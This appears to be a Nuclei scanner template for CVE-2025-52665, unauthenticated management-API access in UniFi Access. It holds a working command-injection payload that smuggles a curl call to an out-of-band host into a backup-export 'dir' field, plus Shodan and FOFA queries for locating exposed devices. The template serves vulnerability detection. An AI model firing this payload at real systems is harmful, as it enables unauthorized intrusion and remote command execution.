UniFi Access - Broken Access Control

id: CVE-2025-52665

info:
  name: UniFi Access - Broken Access Control
  author: theamanrawat,DhiyaneshDK
  severity: critical
  description: |
    UniFi Access Application 3.3.22 through 3.4.31 contains a broken authentication caused by misconfiguration exposing management API without proper authentication, letting attackers on management network access management functions, exploit requires network access.
  impact: |
    Attackers on the management network can access management APIs without authentication, potentially leading to unauthorized control of the system.
  remediation: |
    Update to version 4.0.21 or later.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-056-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191
    - https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52665
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-52665
    epss-score: 0.40972
    epss-percentile: 0.98615
    cwe-id: CWE-306
  metadata:
    max-request: 2
    verified: false
    shodan-query: http.html:"UniFi OS"
    fofa-query: body="UniFi OS"
  tags: cve,cve2025,unifi,rce,vuln,vkev

flow: http(1) && http(2)

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "UniFi OS","UniFi Dream Machine SE")'
        condition: and
        internal: true

  - raw:
      - |
        @Host: {{Host}}:9780
        POST /api/ucore/backup/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "dir":"/tmp/{{rand_string}}-; curl http://{{interactsh-url}}/; #"
        }

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 490a00463044022074d97c6f58b1df1c62cbdc4683918f73c0736b92d34032776504480aad1a9f6d02201867bfaa21413c64f664dc5334c348a6d673573f579c3ee75860ad0516ded2dc:922c64590222798bb761d5b6d8e72950